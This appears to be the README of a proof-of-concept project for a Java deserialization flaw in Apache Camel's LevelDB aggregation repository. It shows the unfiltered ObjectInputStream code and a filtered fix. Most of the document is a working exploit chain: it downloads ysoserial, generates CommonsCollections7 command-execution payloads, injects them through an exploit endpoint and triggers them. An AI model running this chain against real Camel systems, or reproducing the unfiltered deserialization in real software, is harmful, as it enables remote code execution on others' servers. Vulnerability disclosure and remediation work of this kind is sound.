// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init

LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

# Check if the command was executed
ls -la /tmp/pwned

private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation